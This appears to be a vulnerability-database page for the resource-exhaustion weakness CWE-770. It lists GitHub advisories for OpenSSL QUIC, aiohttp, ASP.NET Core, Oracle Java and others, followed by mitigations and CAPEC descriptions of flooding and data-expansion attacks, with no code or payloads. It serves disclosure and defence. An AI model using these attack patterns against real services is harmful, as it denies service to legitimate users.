"id": "GHSA-9whj-h4pv-m99c",
"modified": "2025-01-23T18:31:16Z",
"published": "2025-01-14T03:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57662"
},
{
"type": "WEB",
"url": "https://github.com/openlink/virtuoso-opensource/issues/1217"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9WVG-F2JP-VHCF
Vulnerability from github – Published: 2026-02-11 15:30 – Updated: 2026-02-12 15:32An allocation of resources without limits or throttling vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource.
We have already fixed the vulnerability in the following version: Qsync Central 5.0.0.4 ( 2026/01/20 ) and later
{
"affected": [],
"aliases": [
"CVE-2025-57708"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-11T13:15:55Z",
"severity": "LOW"
},
"details": "An allocation of resources without limits or throttling vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.4 ( 2026/01/20 ) and later",
"id": "GHSA-9wvg-f2jp-vhcf",
"modified": "2026-02-12T15:32:43Z",
"published": "2026-02-11T15:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57708"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-26-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:H/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-9WXJ-FCCF-76PG
Vulnerability from github – Published: 2026-08-26 21:31 – Updated: 2026-08-26 21:31Vulnerability in Oracle Java SE (component: 2D). Supported versions that are affected are Oracle Java SE: 7u511. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L).
{
"affected": [],
"aliases": [
"CVE-2026-71054"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-26T20:17:58Z",
"severity": "MODERATE"
},
"details": "Vulnerability in Oracle Java SE (component: 2D). Supported versions that are affected are Oracle Java SE: 7u511. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L).",
"id": "GHSA-9wxj-fccf-76pg",
"modified": "2026-08-26T21:31:44Z",
"published": "2026-08-26T21:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71054"
},
{
"type": "WEB",
"url": "https://support.oracle.com/support/?documentId=CPU330"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-9X3R-CHWC-PXQ6
Vulnerability from github – Published: 2024-05-14 18:31 – Updated: 2024-05-14 18:31A vulnerability has been identified in SIMATIC RTLS Locating Manager (6GT2780-0DA00) (All versions < V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-0DA10) (All versions < V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-0DA20) (All versions < V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-0DA30) (All versions < V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-1EA10) (All versions < V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-1EA20) (All versions < V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-1EA30) (All versions < V3.0.1.1). The affected application does not properly limit the size of specific logs. This could allow an unauthenticated remote attacker to exhaust system resources by creating a great number of log entries which could potentially lead to a denial of service condition. A successful exploitation requires the attacker to have access to specific SIMATIC RTLS Locating Manager Clients in the deployment.
{
"affected": [],
"aliases": [
"CVE-2024-33495"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-14T16:17:18Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been identified in SIMATIC RTLS Locating Manager (6GT2780-0DA00) (All versions \u003c V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-0DA10) (All versions \u003c V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-0DA20) (All versions \u003c V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-0DA30) (All versions \u003c V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-1EA10) (All versions \u003c V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-1EA20) (All versions \u003c V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-1EA30) (All versions \u003c V3.0.1.1). The affected application does not properly limit the size of specific logs. This could allow an unauthenticated remote attacker to exhaust system resources by creating a great number of log entries which could potentially lead to a denial of service condition. A successful exploitation requires the attacker to have access to specific SIMATIC RTLS Locating Manager Clients in the deployment.",
"id": "GHSA-9x3r-chwc-pxq6",
"modified": "2024-05-14T18:31:01Z",
"published": "2024-05-14T18:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33495"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-093430.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9X89-V382-MJH7
Vulnerability from github – Published: 2026-08-13 15:34 – Updated: 2026-08-13 18:31Issue summary: When an OpenSSL QUIC server (Listener SSL object) processes valid QUIC Initial packets for unknown destination connection IDs, it can allocate and queue new incoming channels without enforcing any limit.
Impact summary: A remote peer that can make many Initial packets reach the server listener faster than the application accepts connections, can cause the memory allocated to store the per-channel state to grow without any limits, potentially making the QUIC listener unavailable and causing Denial of Service.
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Description: The function that handles inbound QUIC packets uses Connection-Id from the packet header to find an existing connection (QUIC channel). If no existing connection is found and the packet type is INITIAL, the function treats the packet as a new connection. It allocates a new channel object and inserts it into a queue where it waits to be accepted by the local application with SSL_accept(3ossl). The memory occupied by these initial channel objects may grow without bounds if the application is not able to call SSL_accept() frequently enough to serve these inbound connection requests.
The issue is present since OpenSSL 3.5 when the QUIC server implementation was added.
The fix introduces a limit for pending connections. The default limit is set to 256 pending connections (waiting to be accepted by the local application). Applications may change the default by calling SSL_set_value_uint(3ossl).
FIPS impact: no The FIPS module is not affected as the QUIC implementation is outside of the OpenSSL FIPS module boundary.
{
"affected": [],
"aliases": [
"CVE-2026-14456"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-13T15:19:31Z",
"severity": "HIGH"
},
"details": "Issue summary: When an OpenSSL QUIC server (Listener SSL object) processes\nvalid QUIC Initial packets for unknown destination connection IDs, it\ncan allocate and queue new incoming channels without enforcing any limit.\n\nImpact summary: A remote peer that can make many Initial packets reach the\nserver listener faster than the application accepts connections, can cause the\nmemory allocated to store the per-channel state to grow without any limits,\npotentially making the QUIC listener unavailable and causing Denial of Service.\n\nCWE: CWE-770: Allocation of Resources Without Limits or Throttling\n\nDescription: The function that handles inbound QUIC packets uses\nConnection-Id from the packet header to find an existing connection\n(QUIC channel). If no existing connection is found and the packet\ntype is INITIAL, the function treats the packet as a new connection. It\nallocates a new channel object and inserts it into a queue where it\nwaits to be accepted by the local application with SSL_accept(3ossl).\nThe memory occupied by these initial channel objects may grow\nwithout bounds if the application is not able to call SSL_accept()\nfrequently enough to serve these inbound connection requests.\n\nThe issue is present since OpenSSL 3.5 when the QUIC server implementation\nwas added.\n\nThe fix introduces a limit for pending connections. The default limit is set\nto 256 pending connections (waiting to be accepted by the local application).\nApplications may change the default by calling SSL_set_value_uint(3ossl).\n\nFIPS impact: no\nThe FIPS module is not affected as the QUIC implementation is outside of\nthe OpenSSL FIPS module boundary.",
"id": "GHSA-9x89-v382-mjh7",
"modified": "2026-08-13T18:31:32Z",
"published": "2026-08-13T15:34:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14456"
},
{
"type": "WEB",
"url": "https://github.com/openssl/openssl/commit/08e7756c3900bcfd77a720e7b74e27d6e4ed01a9"
},
{
"type": "WEB",
"url": "https://github.com/openssl/openssl/commit/4084152e040329ca0194c4c1750b9b46d00a5b6b"
},
{
"type": "WEB",
"url": "https://github.com/openssl/openssl/commit/f2f1465f2d2e5c61dfeac4d20fd093797d821139"
},
{
"type": "WEB",
"url": "https://openssl-library.org/news/secadv/20260813.txt"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/08/13/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9XF3-8HF3-5F85
Vulnerability from github – Published: 2026-10-27 18:31 – Updated: 2026-10-27 18:31Tanium addressed a denial of service vulnerability in Tanium Server.
{
"affected": [],
"aliases": [
"CVE-2026-108310"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-27T18:17:32Z",
"severity": "MODERATE"
},
"details": "Tanium addressed a denial of service vulnerability in Tanium Server.",
"id": "GHSA-9xf3-8hf3-5f85",
"modified": "2026-10-27T18:31:50Z",
"published": "2026-10-27T18:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108310"
},
{
"type": "WEB",
"url": "https://security.tanium.com/TAN-2026-076"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-9XHM-RCRP-WQ9J
Vulnerability from github – Published: 2024-08-16 15:31 – Updated: 2024-08-16 15:31A denial-of-service vulnerability was reported in some Lenovo printers that could allow an unauthenticated attacker on a shared network to crash printer communications until the system is rebooted.
{
"affected": [],
"aliases": [
"CVE-2024-4781"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-16T15:15:30Z",
"severity": "MODERATE"
},
"details": "A denial-of-service vulnerability was reported in some Lenovo printers that could allow an unauthenticated attacker on a shared network to crash printer communications until the system is rebooted.",
"id": "GHSA-9xhm-rcrp-wq9j",
"modified": "2024-08-16T15:31:42Z",
"published": "2024-08-16T15:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4781"
},
{
"type": "WEB",
"url": "https://iknow.lenovo.com.cn/detail/422688"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9XVV-3V2J-FMMM
Vulnerability from github – Published: 2026-07-14 18:32 – Updated: 2026-07-14 18:32Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.
{
"affected": [],
"aliases": [
"CVE-2026-50506"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T17:17:01Z",
"severity": "HIGH"
},
"details": "Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.",
"id": "GHSA-9xvv-3v2j-fmmm",
"modified": "2026-07-14T18:32:05Z",
"published": "2026-07-14T18:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50506"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9XW5-W5JJ-PVCG
Vulnerability from github – Published: 2026-10-20 19:52 – Updated: 2026-10-20 19:52Summary
An attacker can exhaust file descriptors with specially crafted multipart requests.
Impact
If a handler uses Request.post(), it may be possible for an attacker to use an unlimited number of file descriptors, potentially resulting in resource exhaustion.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "aiohttp"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "3.14.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-111066"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-20T19:52:09Z",
"nvd_published_at": "2026-10-19T17:17:03Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn attacker can exhaust file descriptors with specially crafted multipart requests.\n\n### Impact\n\nIf a handler uses `Request.post()`, it may be possible for an attacker to use an unlimited number of file descriptors, potentially resulting in resource exhaustion.",
"id": "GHSA-9xw5-w5jj-pvcg",
"modified": "2026-10-20T19:52:09Z",
"published": "2026-10-20T19:52:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9xw5-w5jj-pvcg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-111066"
},
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/commit/2d94633b7f1b4c1ba07d647b629a8440652b2d09"
},
{
"type": "PACKAGE",
"url": "https://github.com/aio-libs/aiohttp"
},
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "AIOHTTP: File descriptor exhaustion in multipart requests"
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.